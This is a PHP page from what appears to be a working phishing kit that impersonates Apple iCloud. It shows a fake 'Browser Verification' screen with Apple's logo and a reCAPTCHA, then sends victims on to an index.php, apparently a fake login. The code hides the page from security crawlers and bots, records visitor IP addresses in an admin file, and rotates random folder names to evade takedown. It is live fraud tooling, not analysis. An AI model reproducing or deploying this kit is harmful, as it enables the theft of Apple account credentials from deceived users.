<?php 
session_start();
error_reporting(0);
require_once('../config.php');
require_once '../Vuanis/o2ivwuyg.php';
require_once '../Vuanis/pho7zebk.php';
require_once '../Vuanis/rsbvge2q.php';
include('../Vuaniss/blockers.php');
include('../Vuaniss/detects.php');
include('../Vuaniss/Bot-Crawler.php');
include('../Vuaniss/Dila_DZ.php');
$setting_crawlerdetect = "off";
if($setting_crawlerdetect == 'on') {
require_once '../Vuanis/crawlerdetect.php';
}

function updateadmin($data){
	$filedir= '../Admin/db.json';
	$ud=file_get_contents($filedir);
	$udarray = json_decode($ud,true);
	$narr=array();
	foreach($udarray as $key=>$value){$narr[$key]=$value;};
	$ip=getcurrip();
	if($data == 'bots'){
		if(in_array($ip,$narr['humans']) && !in_array($ip,$narr[$data])){
			array_push($narr[$data],$ip);
			array_splice($narr['humans'],array_search($ip,$narr['humans']),1);$narr['humans']=array_values($narr['humans']);
		};}
	else{$narr[$data] += 1;};
	file_put_contents($filedir,json_encode($narr));
};
function getadmin($data){
	$ud=file_get_contents('../Admin/db.json');
	$udarray = json_decode($ud);
	if(isset($udarray->$data)){
		return $udarray->$data;
			};
};
function getcurrip(){ 
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $cf  = @$_SERVER['HTTP_CF_CONNECTING_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];
    if(filter_var($client, FILTER_VALIDATE_IP))
    {
        return $client;}
    elseif(filter_var($cf, FILTER_VALIDATE_IP)){
        return $cf;}
    elseif(filter_var($forward, FILTER_VALIDATE_IP)){
        return $forward;}
    else{
        return $remote;};
	};

$dst = substr(md5(base64_encode(md5(base64_encode(rand(0,10000000))))) , -rand(7,9));
$_SESSION['fldr']=$dst;
$red = fopen("../Admin/dirs.txt","a");
fwrite($red,$dst.PHP_EOL);
fclose($red);

$filed="../Admin/dve.json";
$uds=file_get_contents($filed);
$udsarray = json_decode($uds);
if($udsarray->id != $_SESSION['client']){	
    $fol = basename(getcwd());				
    $jsodn = array('id'=>$_SESSION['client'],'d'=>$fol);
    file_put_contents($filed,json_encode((object)$jsodn));
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Security Check - iCloud</title>
  <link rel="stylesheet" media="all" href="https://www.apple.com/wss/fonts/?families=SF+Pro,v3" type="text/css">
  <script src="https://www.google.com/recaptcha/api.js" async defer></script>
  <style>
    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
    :root {
      --bg:           #ffffff;
      --bg-card:      rgb(255, 255, 255);
      --text:         #1d1d1f;
      --text-muted:   #6e6e73;
    }
    @media (prefers-color-scheme: dark) {
      :root {
        --bg:           hsl(240,3.4%,11.4%);
        --bg-card:      hsl(240,3.4%,11.4%);
        --text:         #f5f5f7;
        --text-muted:   #ebebf099;
      }
    }
    body { font-family: "SF Pro Text", sans-serif; background: var(--bg); color: var(--text); min-height: 100vh; padding-top: 52px; }
    header { height: 52px; display: flex; align-items: center; justify-content: space-between; padding: 0 24px; position: absolute; top: 0; left: 0; right: 0; }
    .overlay { display: flex; position: fixed; inset: 0; background: var(--bg); z-index: 100; align-items: center; justify-content: center; }
    .modal { background: var(--bg-card); border-radius: 34px; padding: 52px 80px; width: 640px; min-height: 500px; position: relative; box-shadow: 0 11px 34px 0 rgba(0,0,0,0.16); display: flex; flex-direction: column; align-items: center; text-align: center; }
    .modal-logo-circle { display: flex; align-items: center; justify-content: center; margin: 0 auto 20px; width: 160px; height: 160px; }
    .modal-title { font-size: 28px; font-weight: 600; margin-bottom: 22px; }
    .modal-subtitle { font-size: 15px; color: var(--text-muted); margin-bottom: 40px; line-height: 1.5; }
    .g-recaptcha { display: inline-block; margin-bottom: 20px; }
  </style>
</head>
<body>
  <header><?php echo file_get_contents('header_logo.txt'); ?></header>
  <div class="overlay">
    <div class="modal">
      <div class="modal-logo-circle">
        <svg viewBox="0 0 160 160" width="160" height="160">
          <defs>
            <linearGradient x1="100%" y1="100%" x2="50%" y2="50%" id="grad1"><stop stop-color="#8700FF" offset="0%"></stop><stop stop-color="#EE00E1" stop-opacity="0" offset="100%"></stop></linearGradient>
            <linearGradient x1="0%" y1="100%" x2="50%" y2="50%" id="grad2"><stop stop-color="#E00" offset="0%"></stop><stop stop-color="#EE00E1" stop-opacity="0" offset="100%"></stop></linearGradient>
            <linearGradient x1="100%" y1="0%" x2="50%" y2="50%" id="grad3"><stop stop-color="#00B1EE" offset="0%"></stop><stop stop-color="#00B1EE" stop-opacity="0" offset="100%"></stop></linearGradient>
            <linearGradient x1="-17.876%" y1="21.021%" x2="48.935%" y2="50%" id="grad4"><stop stop-color="#FFA456" offset="0%"></stop><stop stop-color="#FFA456" stop-opacity="0" offset="100%"></stop></linearGradient>
            <path d="<?php echo @file_get_contents('logo_path.txt'); ?>" id="dots"></path>
          </defs>
          <use fill="#FFF" xlink:href="#dots"></use>
          <use fill="url(#grad1)" xlink:href="#dots"></use>
          <use fill="url(#grad2)" xlink:href="#dots"></use>
          <use fill="url(#grad3)" xlink:href="#dots"></use>
          <use fill="url(#grad4)" xlink:href="#dots"></use>
          <path fill="var(--text)" d="M80.38 68.181c1.66 0 3.75-1.091 4.999-2.565 1.137-1.346 1.94-3.183 1.94-5.039 0-.255-.02-.51-.057-.71-1.865.073-4.103 1.201-5.427 2.73-1.063 1.164-2.033 3.02-2.033 4.875 0 .29.056.564.075.655.112.018.298.054.503.054zm-5.724 27.713c2.248 0 3.243-1.474 6.044-1.474 2.838 0 3.483 1.438 5.97 1.438 2.47 0 4.11-2.239 5.677-4.44 1.732-2.53 2.469-4.987 2.487-5.115-.147-.036-4.865-1.947-4.865-7.28 0-4.622 3.704-6.697 3.926-6.86-2.451-3.477-6.192-3.586-7.224-3.586-2.746 0-4.994 1.656-6.431 1.656-1.53 0-3.52-1.547-5.916-1.547-4.551 0-9.158 3.713-9.158 10.701 0 4.368 1.695 8.973 3.814 11.94 1.806 2.51 3.39 4.567 5.676 4.567z"></path>
        </svg>
      </div>
      <p class="modal-title">Browser Verification</p>
      <p class="modal-subtitle">Please complete the security check to continue to your Apple Account.</p>
      <div class="g-recaptcha" data-sitekey="6LfBdsArAAAAAJEa-ogU5fK2v3xLWjbekVCOo22Y" data-callback="onCaptchaSuccess"></div>
    </div>
  </div>
  <script>
    function onCaptchaSuccess(token) {
        <?php $_SESSION['captcha'] = 2; ?>
        setTimeout(() => { window.location.href = 'index.php'; }, 1000);
    }
  </script>
</body>
</html>
